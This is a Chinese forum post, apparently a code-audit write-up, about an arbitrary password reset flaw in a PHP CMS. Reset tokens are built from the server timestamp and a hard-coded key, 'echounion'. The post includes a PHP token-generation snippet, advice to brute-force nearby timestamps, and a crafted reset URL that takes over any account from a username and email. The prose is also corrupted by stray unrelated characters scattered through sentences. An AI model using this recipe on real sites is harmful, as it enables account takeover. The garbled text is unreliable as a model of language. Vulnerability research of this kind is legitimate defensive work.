來源:http://bbs.ichunqiu.com/thread-10497-1-1.html?from=ch
前言
為了防止被壞蛋哥干掉,出來寫篇文章,這個(gè)是昨晚審的一套系統(tǒng)發(fā)現(xiàn)的一個(gè)任意用戶密碼找回漏洞惭缰,感覺還不錯(cuò)箱叁,就拿這個(gè)來寫文章吧
漏洞起因
造成這漏洞的原因是生成找回密碼密文的key是硬編碼到生成密文的函數(shù)中的驼卖,所以除非站長(zhǎng)直接修改函數(shù)中的key,不然就可以預(yù)測(cè)出密文來找回密碼(不過一般的站長(zhǎng)總不會(huì)自己去修改代碼來解決這漏洞吧葱椭。。)
漏洞分析
我們?cè)谑褂孟到y(tǒng)的郵箱找回密碼功能的時(shí)口四,發(fā)現(xiàn)會(huì)給郵箱發(fā)送這么一個(gè)url,一點(diǎn)擊這個(gè)url就進(jìn)入重新設(shè)置用戶密碼的界面
一打開就進(jìn)入了重新設(shè)置密碼的界面
hash/MnToQi3nMuTochxcMeDEzNgO0O0OO0O0O/addtime/1471710136.html
可以看到有這么一個(gè)hash值
下面我們來看代碼看看這個(gè)hash值是如何生成的
function find_password()
{
if ($_POST) {
self::check_verify();
$_POST = array_map('strval', $_POST);
if (empty($_POST['username']) || empty($_POST['email']) || !preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $_POST['email'])) {
$this->error('請(qǐng)輸入用戶名與注冊(cè)郵件');
}
$map['username'] = inject_check($_POST['username']);
$map['email'] = inject_check($_POST['email']);
$t = M('member')->where($map)->find();
if (!$t) {
$this->error('用戶名與郵件不匹配');
} else {
$map['hash'] = xxxx_encrypt(time());
$map['addtime'] = time();
M('find_password')->add($map);
$url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . U('Member/reset_password', $map);
$body = "您在" . date('Y-m-d H:i:s') . "提交了找回密碼請(qǐng)求孵运。請(qǐng)點(diǎn)擊下面的鏈接重置密碼(48小時(shí)內(nèi)有效)。
{$url}";
send_mail($t['email'], $t['email'] . '用戶', '用戶找回密碼郵件', $body);
$this->assign("waitSecond", 30);
$this->assign("jumpUrl", U('Member/login'));
$this->success('找回密碼成功蔓彩!請(qǐng)?jiān)?8小時(shí)內(nèi)登陸郵箱重置密碼!');
}
} else {
$this->display();
}
}
復(fù)制代碼
代碼大概的意思就是如果輸入了正確的用戶名和郵箱就調(diào)用了 xxxx_encrypt來生成找回密碼的密文
$map['hash'] = xxxx_encrypt(time());
可以看到hash值是通過xxxx_encrypt函數(shù)生成的治笨,time()函數(shù)的返回值是服務(wù)器當(dāng)前時(shí)間的unix時(shí)間戳
echo time();
?>
然后追蹤下來,看xxxx_encrypt函數(shù)
function xxxx_encrypt($string = '', $skey = 'echounion')
{
$skey = array_reverse(str_split($skey));
$strArr = str_split(base64_encode($string));
$strCount = count($strArr);
foreach ($skey as $key => $value) {
$key < $strCount && $strArr[$key] .= $value;
}
return str_replace('=', 'O0O0O', join('', $strArr));
}
復(fù)制代碼
可以看到function xxxx_encrypt($string = '', $skey = 'echounion')
key在沒有傳遞的情況下赤嚼,默認(rèn)為$skey = 'echounion'旷赖,而調(diào)用這個(gè)函數(shù)的時(shí)候,第二個(gè)參數(shù)剛好為空更卒,所以key也就是'echounion'了等孵,而且最要命的是這是硬編碼進(jìn)來的,安裝的時(shí)候也沒有對(duì)這個(gè)key進(jìn)行初始化蹂空,也就是說除非站長(zhǎng)直接改動(dòng)代碼流济,不然這個(gè)key就不會(huì)改了,因?yàn)槭怯簿幋a進(jìn)來的
這個(gè)函數(shù)的功能用key對(duì)傳遞過來的string進(jìn)行加密腌闯,雖然這個(gè)加密函數(shù)比較簡(jiǎn)單,不過我這種菜逼還是看的似懂非懂雕憔,不過突然想到了姿骏,加密的值和key都知道了,可以直接預(yù)測(cè)出找回密碼時(shí)生成的密文的斤彼,這樣就可以重置任意用戶的密碼了
function reset_password()
{
if ($_REQUEST['email'] == '' || $_REQUEST['username'] == '' || $_REQUEST['hash'] == '' || $_REQUEST['addtime'] == '') {
$this->errpr('URL參數(shù)不完整');
}
$_REQUEST = array_map('strval', $_REQUEST);
$map['username'] = inject_check($_REQUEST['username']);
$map['email'] = inject_check($_REQUEST['email']);
$map['hash'] = inject_check($_REQUEST['hash']);
$map['addtime'] = inject_check($_REQUEST['addtime']);
$t = M('find_password')->where($map)->find();
if (!$t) {
$this->error('URL參數(shù)不正確');
} else {
if (time > $t['addtime'] + 48 * 3600) {
$this->error('URL已經(jīng)過期');
M('find_password')->where('id=' . $t['id'])->delete();
}
}
if ($_POST) {
if ($_POST['newpwd'] == '' || $_POST['newpwd'] != $_POST['newpwd2']) {
$this->error('密碼不能為空分瘦,兩次密碼輸入必須一致');
}
unset($map['hash']);
unset($map['addtime']);
M('member')->where($map)->setField('userpwd', md5($_POST['newpwd']));
$this->assign("jumpUrl", U('Member/login'));
$this->success('密碼已經(jīng)修改成功!請(qǐng)登陸');
} else {
$this->display();
}
}
復(fù)制代碼
$map['username'] = inject_check($_REQUEST['username']);
$map['email'] = inject_check($_REQUEST['email']);
$map['hash'] = inject_check($_REQUEST['hash']);
$map['addtime'] = inject_check($_REQUEST['addtime']);
$t = M('find_password')->where($map)->find();
addtime和hash是可預(yù)測(cè)的琉苇,也就是說只要知道用戶名和郵箱就可以找回任意用戶的密碼了
漏洞利用
由于value是time()嘲玫,也就是服務(wù)器當(dāng)前時(shí)間的unix時(shí)間戳,而key是硬編碼進(jìn)去的,所以可以直接調(diào)用這個(gè)加密函數(shù)來得到密文并扇,找回密碼
首先點(diǎn)擊忘記密碼去团,輸入你要重置密碼的用戶的用戶名和郵箱,然后點(diǎn)擊驗(yàn)證穷蛹,記住發(fā)送的時(shí)間(可能本地的時(shí)間和服務(wù)器的時(shí)間多多少少有點(diǎn)誤差土陪,這種情況下,可以寫個(gè)小腳本肴熏,生批量生成最近幾十秒unix時(shí)間戳的密文訪問測(cè)試)
假設(shè)這里的時(shí)間戳為1471711028(把時(shí)間轉(zhuǎn)換為時(shí)間戳鬼雀,直接百度一下就有很多相關(guān)的在線工具了)
function xxxx_encrypt($string = '', $skey = 'echounion')
{
$skey = array_reverse(str_split($skey));
$strArr = str_split(base64_encode($string));
$strCount = count($strArr);
foreach ($skey as $key => $value) {
$key < $strCount && $strArr[$key] .= $value;
}
return str_replace('=', 'O0O0O', join('', $strArr));
}
echo xxxx_encrypt("1471711028")
?>
復(fù)制代碼
然后構(gòu)造這么一個(gè)url
http://127.0.0.1/xxxx/index.php?s=/member/reset_password/username/用戶名/email/郵箱/hash/加密后的值/addtime/時(shí)間戳.html
訪問,直接重置這個(gè)用戶的密碼
結(jié)語
通過泉哥對(duì)我前幾篇文章的點(diǎn)評(píng)蛙吏,感覺這次在排版和內(nèi)容詳細(xì)程度上有了不小的進(jìn)步源哩,不過由于本人是個(gè)大菜逼鞋吉,寫的文章難免有錯(cuò)誤之處,希望大家指出励烦,現(xiàn)在的我的技術(shù)還在起步的路上谓着,希望有一天我的技術(shù)可以進(jìn)化到自己都怕自己,同時(shí)推薦一套I春秋主站的視頻教程崩侠,關(guān)于代碼審計(jì)的漆魔,知道創(chuàng)宇出的"漏洞案例講解"(好像是這名字),對(duì)漏洞的分析講的挺詳細(xì)和專業(yè)的却音。最后也謝謝泉哥對(duì)我們文章的點(diǎn)評(píng)